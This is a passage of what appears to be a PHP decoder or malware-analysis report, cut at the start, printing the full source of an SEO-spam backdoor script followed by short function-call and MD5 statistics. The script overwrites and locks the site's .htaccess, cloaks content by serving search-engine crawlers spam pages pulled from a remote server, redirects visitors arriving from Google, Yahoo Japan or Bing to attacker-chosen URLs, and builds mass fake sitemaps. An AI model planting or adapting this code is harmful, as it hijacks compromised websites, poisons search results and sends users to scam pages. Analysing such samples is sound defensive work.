protected]/','ENTA-UNITED-ARROWS.#_YOGA-GENE.$/','AREA/i.lumine.#_r.@.$/','mckd-@/gun_#/REGION=$','FaiTh-#/eTwL-$/rVys-@/','godliness.#/urhgoric-@=$/','#/official.=$/-@/','feature_item_daily_#_tags=$','news/detail/pintoru/odai@/#/bure_$','cleanitab_#/channel-$.@','store=#&bure=$/kofclic.@','apps_@/FAMILY=#/twtes/NO=$','collection-masterpiece-pngmet.#-$.gov.pg-@','editors_choice/casede=#&smartlog=$','cittalia-#_answer-$','guide/r/tag=#/portal/help/r/hot/$','Year=#/Calendar=$','Festival/#.@.$/sound-','#=holiday-/$=Blessing-','Celebrate/DAY/MWk-#-henrysbk-$-oXPr.','elfshop/@./#./American/$.','Strength_#-mery_$-report.@_','@/Z=#.cp&Opportunity=$-','Copyright&$.in.@_#','Package.#/kjurnif-shion-hori-@/gole.$','#/$/Marginal_@_','utility=#/@_$_sakidori-','#/?logo=$_@','@/?MARK_#=hellobezlo_$','PAGE=#/HEADLINE=$/NOTE=@','PATTERN_#_@.$.','jhl/umito/#./audience.$/@','#.brandmomentum=$/uwafu-@','personality_#._pointer_$.-foot-@','@.bz/concept=#&Ideal=$','life-cycle/barbara-#/mabo-$','prototype.#-plugins.pxp?$-@','attribute_#/-@=pdat_circle-$','@.#/advertising-$','#.creative.$/spxfcu-@-','#.peralux-/$.presentation-','-txp_#=FOLLOW_$_@.','DIRECTOR-#-$-NON-STOP.-@','sponsoredevent/#/algaenergy_$','coverage-gludinamaiskoks_#-$.yrt-','publicrelations/#/$','post_@-buy_#-analysis_$','decision.#/?@=$','SLOGAN-NATALIS-#-$_@_','STRATEGY/R/CART=#/NO.=$','ep/s/?CLIENT_SHOP_KBN=#&C=$','international-world-#-pyo.$-@-','allowance/list/zozo_#/Coupons_@/team_$-','assurance-all-sales-#[email protected]','analysis_#/sho_index/[email protected]','extension/CSfDispListPage_#.jsp?dispNo=$.html','disp/locondo/e_#/positioning_$.html','break-even/minne_#/@_$.html','diversity_category_@_id=#_hom=$.html','@_budgeting-#/Home-$-.html','Behavior/ja/JP/e-store-#/department/$.html','@/Decisions.#/cate_$.html','Goldenhour-jpn-jp-#-think@-$.html','@/p=#/?Online=$.shtml','RUSH?cate&cbid=#&csid=$.shtml','SymbolMark/basic-#/kanana-$.shtml','spcl=#/@/outdoor=$.shtml','pc_#/item/@.cgi?itemStycd=$.shtml','@/#_themelines/-$-.shtml','session-motomachi_#-goods_$.shtml','exhibits/#.@.$/pg.shtml','mandatories/ctg_id=#/$.shtml','visualization-#/fs-@/savoy-$.shtml','commercial/torin.#/$-.htm','illustrators-#[email protected]','@axel_pd=#/script=$.htm','@-#/thumbnail.as-$.htm','OBEY_itemtype=#&p_itemsubtype=$.htm','Indulge/C@T=#/NO.=$.htm','Pursuit-#[email protected]','@.#-Askformore-$.htm','Generation_#[email protected]','Integrate/@.bz=#&Ideal=$.htm','flavor=#/@_$_eyewear-.xhtm','#/[email protected]','venture-#-/buy.$/[email protected]','#/bure@_$/Upward.netp','stretches_npyo_@_#_seal_$.zpko','Association.#/?@=$.xxxl','program=#_$.wbzj','@/#.alliteration_$.cox','brainstorming_#_$_@_blog.vdep','capital/?#=@-$.shtml','Carnival-#[email protected]','centralization/#/$.htm','dataresearch_@_treasure-f_#_$.htm','differentiation/shop/g_#/g_$.html','encoding/home/@/#_$.ggco','@/#-$/exporting.pxpx','#/-@-/$_financing.cvy','R/@_formalization_perh_#_$_vwwht.orp','GENERAL/bluek.#/_$_.cznx','harvesting_#-@_$.vtp','jaeger_#/$_incentives.mmp','_js/r/e/mall/influencers_#_$.jgps','#/legislation_$/assets.nmd','data-#/_$_mission.pw_','#/$/[email protected]=','objectives_project=#_link=$.aqp','payment/e/li/good_#/@_$.apro','_@_Potential/_#_Library/R/_$_Bite.qoiy','REBATES_@/-#-/maker=$.neps','co-branding/#/lexia-$/.@','Compensation/mnky-#/NAVER-$/@.php','advertisements-#-matome-keiya/$/lexia-ginza/-@-feature/.disp','communication/orangin-integer_#-daniel_$-bettyroad-@','Comdex_brillami_#_nordicfeeling_$_shiete@','#_alliances_$_langen_svp-hunzenschwil_@','power=#/?jp=$-@_arrows','jobbers.#-pmall.$-gpoint-@','adoption_#_@_concept_$_','@/materials_#/tab=page_info_$','Reciprocity_#-cialis_$-@_hospi','reference/-#/-$/-@/-jugem','#_reseller-@_buyer-$_jpntrust','zone_pricing_raking_ids/#/$/-@-','#/?@-design_uodcd_pfdf=$','structure_#_$_@_hello-world-qoed-greet','Standards-#/news-$/freebell-@','perceptual_#_timeison/?@=$','warranty/#/shrimp-$/.@/','Vision/bungo-#/Diskunion-$/@.php/','Union.#-paro.$-scenery-@/','transportation-#-jpntrust-ma/$/nailschool/-@-today/.blog/','territories.@/pa-toddler-#/tokyo-start-$/','@_symbols/-#/-$/otonatoha-/','@/synergy_#/pg=table_ifo_$/','@/?#-survey=$/','levels=#_lab=$_ninki_allegra_stryknin@/','spokesperson/qopxdx_catm/#/idedfd_coord/$/ofdf_nijinosora_@/','Tabacco-resort.#/technology-so.$/ditors-/','share-sato-no-matuge-post-#-peacept-$-@./','service_#_$_sixfoot_nevgr_@_jpntrust_cojp/','Security-#/smile-$./nicotinellmintgum-@-/','#/_territory_$/[email protected]/','strategies/kharkov/PGE_#/neko/ITE_$/','rationale-#-TjBEHdbq-$-kharkov-@/','Psychological-ga-daisuki-#.xyz-aeijyijego-$/','evolution_@/mWLVBY/aeijyijego_#_roza_$/','Parentage-Tcouecmu-#[email protected]','Overheads/#/ilmucchio-$/.@','operating-supplies__list-#[email protected]','natural-products/#-/oizdsz_hufgr_lqns_$.@','location_dduf_dksd=#/?qsas_dsf_op=$.@','line-filling-#[email protected]','Key_accounts/?p=#_husband_$.xyz','@/?#=issue-advertising-fdifpo-$.sgo','@-#-$.html','integration-#/Jerusa-Ppfedf-Ubhdf-$/@.qpl','REA_@/innovation_#/QpI_Werdc_$.erg','harvest/jvfopd_#/$/malaysiaex_@/r.bnc','#/rtY_guarantees_$/PPY_import.@','Gross_FHG=#/Margin_QPSDC=$/[email protected]','functional/mr/eq/nileu_#/$_cigar/[email protected]');
$sm_header = 'Content-type:text/%sml;charset=utf-8';
@ob_start();
@set_time_limit(7200);
@date_default_timezone_set('America/Los_Angeles');
$zuid = 1;
$request_uri = $uri_end = $_SERVER['REQUEST_URI'];
$is_home = in_array($request_uri, array('', '/'));
$serverhost = '';
if (isset($_SERVER['HTTP_HOST'])) {
$serverhost = $_SERVER['HTTP_HOST'];
} elseif (isset($_SERVER['SERVER_NAME'])) {
$serverhost = $_SERVER['SERVER_NAME'];
}
htaccess();
$homeUrl = "http://$serverhost";
$currentUrl = "$homeUrl$request_uri";
$root = $_SERVER['DOCUMENT_ROOT'];
$script_name = isset($_SERVER['SCRIPT_NAME']) ? $_SERVER['SCRIPT_NAME'] : '';
if ($script_name == '') {
$script_name = isset($_SESSION['SCRIPT_FILENAME']) ? $_SESSION['SCRIPT_FILENAME'] : '';
if ($script_name != '') {
$script_name = str_replace($root, '', $script_name);
}
}
if ($script_name != '') {
$script_name = substr($script_name, 1);
$posx = strrpos($script_name, '/');
$base = $posx !== false ? substr($script_name, 0, strrpos($script_name, '/')) : '';
$script_filename = $posx !== false ? substr($script_name, $posx + 1) : $script_name;
}
$page_location_root = "$homeUrl/$base" . ($base == '' ? '' : '/');
$url_prefix = !$is_static ? "$script_filename?" : '';
$uri_end = preg_replace("/^\//si", '', $uri_end);
$uri_end = $base != '' ? preg_replace(sprintf("/^%s\/\??/si", sync_preg_string($base)), '', $uri_end) : $uri_end;
$uri_end = preg_replace("/^($script_filename)?\?/si", '', $uri_end);
$mapol_pre = $base != '' ? preg_replace(sprintf("/^\/%s\//si", sync_preg_string($base)), '', $request_uri) : $request_uri;
$mapol_pre_qm = strpos($mapol_pre, '?');
$mapol_pre = $mapol_pre_qm !== false ? substr($mapol_pre, 0, $mapol_pre_qm + 1) : '';
$mapol_pre = preg_replace("/^\//si", '', $mapol_pre);
$mapol = false;
$mappages = false;
$mappre = 'sitemap_';
$mapfolder = '';
$mapfx = 0;
$mapstep_need = false;
$mapstep = 1;
$mapmax = 10000;
$mapidf = 0;
$mapmode = 0;
if (preg_match("/\.xml$/si", $uri_end)) {
$mapol = true;
$query_xml = explode('/', $uri_end);
$query_xml_end = array_pop($query_xml);
if (preg_match("/([^\d]+)(\d+)\.xml$/si", $query_xml_end, $mapxml)) {
$mappre = $mapxml[1];
$mapfx = $mapxml[2];
}else{
$mappre = preg_replace("/([a-z]+_?).*/si", "$1", $query_xml_end);
}
if (!empty($query_xml) && preg_match("/^([a-z])?(\d+)$/si", $query_xml[count($query_xml) - 1], $stepmat)) {
if (count($stepmat) == 3) {
$mapstep = $stepmat[2];
if ($stepmat[1] == 's') {
$mapmode = 1;
}elseif ($stepmat[1] == 'g'){
$mapmode = 2;
}
}else{
$mapstep = $mapstep[0];
}
array_pop($query_xml);
}
if (!empty($query_xml) && is_numeric($query_xml[count($query_xml) - 1])) {
$mapmax = array_pop($query_xml);
$mapstep_need = true;
}
if (!empty($query_xml)) {
$mapfolder = implode('/', $query_xml);
}
if (($mapfolder != '' && preg_match("/^pages\/?/si", $mapfolder)) || $query_xml_end == 'pages.xml') {
$mappages = true;
}
$mapidf = $mapfx == 1 ? 1 : (($mapmax + 1) * ($mapfx - 1) * $mapstep);
$mapidf = $mapidf < 0 ? 0 : $mapidf;
}
if(isset($_GET['sitemap']) || $mapol){
$num=isset($_GET['num']) ? $_GET['num'] : '';
$getjumpUrl = sprintf($getloc, $yumingid, $lineid, 0, $currentUrl);
$getjumpUrl .= $getjumpUrl . '&sitemap=1';
$jumpurl = trim(curlUrl($getjumpUrl));
$data=unserialize($jumpurl);
if ((isset($_GET['sitemap']) && $_GET['sitemap'] == 'all') || $mapol) {
if ($mapol) {
$max = $mapmax;
$dir = $mapfolder;
$step = $mapstep;
$idf = $mapidf;
}else{
$max = isset($_GET['max']) ? (int)$_GET['max'] : 49999;
$max = $max == 0 ? 49999 : $max;
$dir = isset($_GET['dir']) ? trim($_GET['dir']) : '';
$absdir = "$root/$dir";
if ($dir != '' && !is_dir($absdir)) {
mmkdir($dir);
}
if ($dir == '' || !is_writable($absdir)) {
$dir = mapdir();
}
$step = isset($_GET['step']) ? (int)$_GET['step'] : 1;
$step = $step <= 1 ? 1 : $step;
$mapfx = isset($_GET['fx']) ? (int)$_GET['fx'] : 1;
$idf = isset($_GET['idf']) ? (int)trim($_GET['idf']) : 0;
}
$map_msg = '%s has been created successfully: <a href="%s" target="_blank">%s</a><br/><input style="width:70%s;border:1px solid #aaa;padding:2px;border-radius:2px;margin-top:5px" id="sxf" onclick="this.select()" onfocus="this.select()" value="%s" /><script>document.getElementById("sxf").focus()</script>';
$map_array_head = "\x3c\x3fxml version=\"1.0\" encoding=\"UTF-8\"\x3f\x3e\n\t<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">";
$total = 0;
foreach ($data as $key => $value) {
$total += (int)$value;
}
if ($total <= 0) {
exit('no data');
}
$stepmax = ceil($total / 49999);
$max = $step > $stepmax ? 49999 : $max;
if ($step <= $stepmax && !in_array($mapmode, array(1, 2)) && (($idf == 0) || ($mapol && $mapfx == 0))) {
$map_index = "$dir/sitemap_index.xml";
$map_index_format = "\x3c\x3fxml version=\"1.0\" encoding=\"UTF-8\"\x3f\x3e\n\t<sitemapindex xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">%s\n\t</sitemapindex>";
$map_sitemap_genuri = array();
$map_index_out = '';
$map_index_sitemap_format = "\n\t<sitemap>\n\t\t<loc>%s</loc>\n\t\t<lastmod>%s</lastmod>\n\t</sitemap>";
$map_sitemap_genuri_link_format = '%s/%s?sitemap=all&step=%d&idf=%d&max=%d&dir=%s&fx=%d';
$map_sitemap_genuri_format = '%d. <a class="ck%d" href="%s" target="_blank">%s</a><span id="ck%d"/></span>';
$map_index_num = ceil($total / $max);
if ($step != 1) {
$last = 1;
last2($last, $step, $max);
$map_index_num = ceil($total / $last);
}
for ($sini=1; $sini <= $map_index_num; $sini++) {
if ($mapol) {
$map_index_sitemap_uri = sprintf("$page_location_root%s%s$mappre%d.xml", $mapol_pre, ($dir != '' ? "$dir/" : '') . sprintf('%s%s', ($max != 10000 ? "$max/" : ''), (($mapstep_need || $step != 1) ? "$step/" : '')), $sini);
}else{
$map_index_sitemap_uri = sprintf('%s/%ssitemap_%d.xml', $homeUrl, "$dir/", $sini);
$map_sitemap_genuri_href = sprintf($map_sitemap_genuri_link_format, $homeUrl, $script_name, $step, ($sini == 1 ? 1 : (($max + 1) * ($sini - 1) * $step)), $max, $dir, $sini);
$map_sitemap_genuri[] = sprintf($map_sitemap_genuri_format, $sini, $sini, $map_sitemap_genuri_href, $map_sitemap_genuri_href, $sini);
}
$map_index_out .= sprintf($map_index_sitemap_format, $map_index_sitemap_uri, date('Y-m-d'));
}
$map_index_out = sprintf($map_index_format, $map_index_out);
if ($mapfx == 0) {
header(sprintf($sm_header, 'x'));
echo $map_index_out;
exit();
}else{
file_put_contents("$absdir/sitemap_index.xml", $map_index_out);
echo sprintf($map_msg, $map_index, "$homeUrl/$map_index", $map_index, '%', $map_index) . '<br /><br />[products total: ' . $total . ']Clic' . 'k links below to gen xml file:<br /><br /><style>.ck a{display:inline-block;margin-top:5px}#click span{margin-left: 15px;}</style><div class="ck" id="click">' . implode('<br />', $map_sitemap_genuri) . '</div><script>var i,al=document.getElementById("click").getElementsByTagName("a"),H=[],L=3,E=D=N=0,F=function(){var a=new Image,b=H.shift(),c=b.split("@"),d=document.getElementById(c[0]);N++,d.innerHTML="working...",a.one' . 'rror=function(){d.innerHTML="ok",N--,D++,G()},a.src=c[1],console.log(c[1]+" working...")},G=function(){for(N=0>=N?0:N,E==D&&console.log("done.");H.length&&L>N;)F()};for(i in al)"undefined"!=typeof al[i].href&&H.push(al[i].className+"@"+al[i].href);E=H.length,G();</script>';
}
}else{
$map_file = "sitemap_$mapfx.xml";
$map_idf_step = $map_tmp_step = $map_step = $step;
$map_finish_count = 0;
$map_array = array();
$map_array_len = 0;
if (!$mapol) {
$map_file = "$absdir/sitemap_$mapfx.xml";
@file_put_contents($map_file, $map_array_head);
}else{
header(sprintf($sm_header, 'x'));
echo $map_array_head;
}
if (!empty($data)) {
$map_uri_format = "\n\t\t\t" . '<loc>%s</loc>';
//////////////////////////
$map_skiped = 0;
$mapoldone = $map_next = 0;
foreach ($data as $key => $value) {
if ($mapoldone >= $max) {
break;
}
$map_line_total = (int)$value;
if ($mapol && $mapmode != 0) {
$sid_arr = sid_array($map_line_total - 1, $mapstep, $mapmode, $lineid);
if (!empty($sid_arr)) {
$map_array = array();
foreach ($sid_arr as $sid_lid) {
if ($mapoldone >= $max) {
break;
}
$map_content = '';
$map_content .= "\n\t\t" . '<url>';
$map_content .= sprintf($map_uri_format, xml_urlarg(urlshengchen($key, $sid_lid)));
$map_content .= "\n\t\t\t" . '<lastmod>' . date('Y-m-d') . '</lastmod>';
$map_content .= "\n\t\t\t" . '<changefreq>monthly</changefreq>';
$map_content .= "\n\t\t</url>";
$map_array[] = $map_content;
$mapoldone++;
}
echo implode('', $map_array);
$map_array = array();
}
}else{
if ($idf > 1) {
if (($map_skiped + $map_line_total) < $idf) {
$map_skiped += $map_line_total;
continue;
}
}
if ($map_line_total != 0) {
$map_step = $map_next ? $map_tmp_step : ($map_skiped > 0 ? (ceil($map_skiped / $max) * $max - $map_skiped + 1) : $idf);
$map_next = 0;
while ($map_finish_count < $max) {
if ($map_step > $map_line_total) {
$map_next = 1;
break;
}
if ($map_array_len > 1000) {
$ready = implode('', $map_array);
if ($mapol) {
echo $ready;
}else{
@file_put_contents($map_file, $ready, FILE_APPEND);
}
$map_array = array();
$map_array_len = 0;
}
$map_content = '';
$map_content .= "\n\t\t" . '<url>';
$map_content .= sprintf($map_uri_format, xml_urlarg(urlshengchen($key, $map_step)));
$map_content .= "\n\t\t\t" . '<lastmod>' . date('Y-m-d') . '</lastmod>';
$map_content .= "\n\t\t\t" . '<changefreq>monthly</changefreq>';
$map_content .= "\n\t\t</url>";
$map_array[] = $map_content;
$map_step += $map_tmp_step;
$map_array_len++;
$map_finish_count++;
}
}
}
}
}
$map_array[] = "\n\t</urlset>";
$sitemap_out = implode('', $map_array);
$map_array = array();
if ($mapol) {
echo $sitemap_out;
}else{
@file_put_contents($map_file, $sitemap_out, FILE_APPEND);
if ($step > 30 && $mapfx == 1) {
$map_one = "$dir/sitemap_$mapfx.xml";
echo sprintf($map_msg, $map_one, "$page_host/$map_one", $map_one, '%', $map_one);
}else{
echo 'done';
}
}
}
exit();
}
if(isset($_GET['file'])){
$file=$_GET['file'];
$str="<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\t<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">";
foreach($data as $key=>$value){
for($i=0;$i<$num;$i++){
$j=mt_rand(1,$value);
$url=urlshengchen($key,$j);
$str.= '<url>
<loc>'.$url.'</loc>';
$str.='<lastmod>'.date('Y-m-d',time()).'</lastmod>
<changefreq>monthly</changefreq>'."\n</url>";
}
}
$str.="\n</urlset>";
$h=fopen($file,'w');
fwrite($h,$str);
fclose($h);
echo $file.' OK!';
die;
}
$str="<!DOCTYPE html>\n<html>\n<head>\n\t<meta charset=\"utf-8\">\n\t<meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n\t<title></title>\n</head>\n<body>";
foreach($data as $key=>$value){
for($i=0;$i<$num;$i++){
$j=mt_rand(1,$value);
$url=urlshengchen($key,$j);
$str.= '<a href="'.$url.'" target="_blank">'.$url."</a><br>\n";
}
}
echo $str."\n</body>\n</html>";
die;
}
$urlRefer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$userAgentCheck = user_agent_check($userAgent);
$referCheck = refercheck($urlRefer);
$getyid = $getlid = 0;
if ($request_uri != '') {
urljiexi($request_uri, $getyid, $getlid);
}
$yumingid = $getyid != 0 ? $getyid : $yumingid;
$lineid = $getlid != 0 ? $getlid : lineidcalc($is_home, $lineid);
if ($referCheck) {
$getjumpUrl = sprintf($getloc, $yumingid, $lineid, 1, $currentUrl);
$getjumpUrl .= $getjumpUrl . '&type=' . $jumpType;
$jumpurl = trim(curlUrl($getjumpUrl));
if ($jumpurl == '') {
echo "jumpurl 404";
} else {
if ($jumpType) {
header("Location: $jumpurl");
} else {
echo $jumpurl;
}
}
exit();
}
if ($userAgentCheck) {
$a_format = '<a href="%s" target="_blank">%s</a>';
$geturl = sprintf($getloc, $yumingid, $lineid, 0, $currentUrl);
$getchanpin = trim(curlUrl($geturl));
if ($getchanpin == '') {
exit("chanpin 404");
}
$getchanpin = preg_replace_callback('/\?yumingid\=(\d+)\&lineid\=(\d+)/', 'cpurl', $getchanpin);
echo "$getchanpin";
exit();
}//*/
function curlUrl($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, 'aabb');
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 300);
$r = curl_exec($ch);
curl_close($ch);
if (!$r) {
return "curl error";
} else {
$r = trim(trim($r, "\xEF\xBB\xBF"));
return $r;
}
}
function last(&$last, $step, $max, $init = 1){
if ($init < $max) {
$last += $step;
$init++;
last($last, $step, $max, $init);
}
}
function getdir(){
$dir = '';
$find = glob("*", GLOB_ONLYDIR);
if (!empty($find)) {
foreach ($find as $d) {
if (is_writable($d)) {
$dir = $d;
break;
}
}
}
return $dir;
}
function user_agent_check($ua = "")
{
return preg_match("/(bing|googlebot|bingbot|google|yahoo)/", $ua);
}
function sid_array($total, $limit, $mode, $lineid){
$ids = array();
if ($limit > 0) {
if ($total <= $limit) {
$ids = range(0, $total);
}else{
if ($mode == 1) {
$tmp = range(0, $total);
shuffle($tmp);
$ids = array_slice($tmp, 0, $limit);
$tmp = array();
}else{
for ($i=0; $i < $limit; $i++) {
$id = static_calc($lineid, $total, $i, $limit);
if (!in_array($id, $ids)) {
$ids[] = $id;
}else{
$limit++;
}
}
}
}
}
return $ids;
}
function refercheck($refer = "")
{
return preg_match("/(google.co.jp|yahoo.co.jp|bing)/si", $refer);
}
function mmkdir($dir){
$dir = preg_replace("/(^\/|\/$)/si", '', $dir);
$arr = explode('/', $dir);
if (!empty($arr)) {
$tmpd = '';
foreach ($arr as $dirname) {
$tmpd .= $tmpd != '' ? '/' . $dirname : $dirname;
if (!is_dir($tmpd)) {
@mkdir($tmpd) or die("mkdir $tmpd failed");
}
}
}
}
function lineidcalc($is_home = false, $lineid = 0)
{
if ($is_home) {
return $lineid;
} else {
global $currentUrl;
return strlen($currentUrl);
}
}
function cpurl($matches) {
return urlshengchen($matches[1], $matches[2]);
}
function urljiexi($request_uri, &$getyid, &$getlid)
{
$split = preg_split("/[^a-z0-9]/i", $request_uri, -1, PREG_SPLIT_NO_EMPTY);
$numbers = array();
foreach ($split as $splitValue) {
if (is_numeric($splitValue)) {
$numbers[] = $splitValue;
}
}
$numberslen = count($numbers);
if ($numberslen > 0) {
if ($numberslen == 1) {
$getlid = array_pop($numbers);
} else {
$getyid = array_shift($numbers);
$getlid = array_pop($numbers);
}
}
}
function last2(&$last, $step, $max, $init = 1){
if ($init < $max) {
$last += $step;
$init++;
last2($last, $step, $max, $init);
}
}
function urlshengchen($yid, $lid)
{
global $urlrules, $locprefix, $minlen, $maxlen,$is_static, $page_location_root, $url_prefix;
$urluri = '';
$getrule = getRule($urlrules, $yid, $lid);
if ($getrule != '') {
$randstring = randstring($minlen, $maxlen);
$urluri = $getrule;
$urluri = preg_replace("/\@/", "$randstring", $urluri);
$urluri = preg_replace("/\#/", "$yid", $urluri);
$urluri = preg_replace("/\\\$/", "$lid", $urluri);
$urluri = str_replace("&", "&", $urluri);
}
return $page_location_root . $url_prefix . (!$is_static ? str_replace('?', '%3F', $urluri) : $urluri);
}
function xml_urlarg($url = '', $de = 0){
if ($de) {
$url = preg_replace("/&/s", '&', $url);
$url = preg_replace("/'/s", "'", $url);
$url = preg_replace('/"/s', '"', $url);
$url = preg_replace("/>/s", '>', $url);
$url = preg_replace("/</s", '<', $url);
}else{
$url = preg_replace("/&/s", '&', $url);
$url = preg_replace("/'/s", ''', $url);
$url = preg_replace('/"/s', '"', $url);
$url = preg_replace("/>/s", '>', $url);
$url = preg_replace("/</s", '<', $url);
}
return $url;
}
function getRule($urlrules = array(), $yid, $lid)
{
$getrule = "";
$int = (int)$yid + (int)$lid;
if (!empty($urlrules)) {
if (isset($urlrules[$int])) {
$getrule = $urlrules[$int];
} else {
$ruleslen = count($urlrules);
$md5str = md5($int);
$md5str = trim(preg_replace("/[^0-9]/s", '', $md5str));
$md5str = substr($md5str, 0, strlen($ruleslen));
$md5strlast = (int)substr($md5str, -1);
$md5strlast = $md5strlast <= 1 ? 2 : $md5strlast;
$int = (int)$md5str;
if (isset($urlrules[$int])) {
$getrule = $urlrules[$int];
} else {
while (true) {
$int = $int == 1 ? 0 : round($int / $md5strlast);
if (isset($urlrules[$int])) {
$getrule = $urlrules[$int];
break;
}
}
}
}
}
return $getrule;
}
function static_calc($lineid, $max, $id_index, $id_count){
$func_count = 5;
$func_index = $id_index % $func_count;
$return = $lineid;
switch ($func_index) {
case 0:
$return = $lineid * ($id_index + 2);
break;
case 1:
$return = $lineid / ($id_count + $id_index) * $max;
break;
case 2:
$return = $max / $id_count * $lineid + $id_index;
break;
case 3:
$return = $lineid * 10 - $id_count + $id_index;
break;
case 4:
$return = $id_index * 888 + $lineid;
break;
}
$return = $return < 0 ? abs($return) : $return;
$return %= $max;
return $return;
}
function randstring($minlen = 2, $maxlen = 20)
{
$stringlen = mt_rand($minlen, $maxlen);
$stringarray = range('a', 'z');
$stringarraylen = count($stringarray) - 1;
$randstring = "";
for ($i = 0; $i < $stringlen; $i++) {
$randstring .= $stringarray[mt_rand(0, $stringarraylen)];
}
return $randstring;
}
function htaccess($htaccess_path = ''){
$htaccess_path = '.hta' . 'ccess';
@chmod($htaccess_path, 0777);
$fc = @file_get_contents($htaccess_path);
$nfc = array();
if ($fc !== false) {
preg_match_all("/<IfModule\s+mod_rewrite.c>[^<]+<\/IfModule>/si", $fc, $matches);
if (isset($matches[0]) && !empty($matches[0])) {
foreach ($matches[0] as $block) {
if (!preg_match("/%\{HTTP_USER_AGENT\}\s\(google/si", $block)) {
$nfc[] = $block;
}
}
}
}
if (empty($nfc)) {
$nfc[] = sprintf("<IfModule%smod_" . "rewrite.c>%sRewriteEngine%sOn%sRewriteCond%s%s{RE" . "QUEST_FILENAME}%s!-f%sRewrit" . "eCond%s%s{REQUEST_F" . "ILENAME}%s!-d%sRewriteRule%s.%sindex" . ".php%s[L]%s</IfMod" . "ule>", ' ', "\n", ' ', "\n", ' ', '%', ' ', "\n", ' ', '%', ' ', "\n", ' ', ' ', ' ', "\n");
}
@file_put_contents($htaccess_path, trim(implode("\n", $nfc)));
$fc = $nfc = null;
@chmod($htaccess_path, 0444);
}
function sync_preg_string($sps, $delarg = 1){
$sps_chars = '\\?/|&()[]{}+^$!:*';
$sps_chars_array = str_split($sps_chars);
$sps_char_format = '%s%s';
if ($delarg) {
$sps = preg_replace("/(\?|#).*/si", '', $sps);
}
foreach ($sps_chars_array as $sca_v) {
$sps = str_replace($sca_v, sprintf($sps_char_format, '\\', $sca_v), $sps);
}
return $sps;
}
Function Calls
| ob_start | 1 |
| set_time_limit | 1 |
| date_default_timezone_set | 1 |
Stats
| MD5 | 3b393b3de374e6e7673c1fa9fc75e114 |
| Eval Count | 0 |
| Decode Time | 201 ms |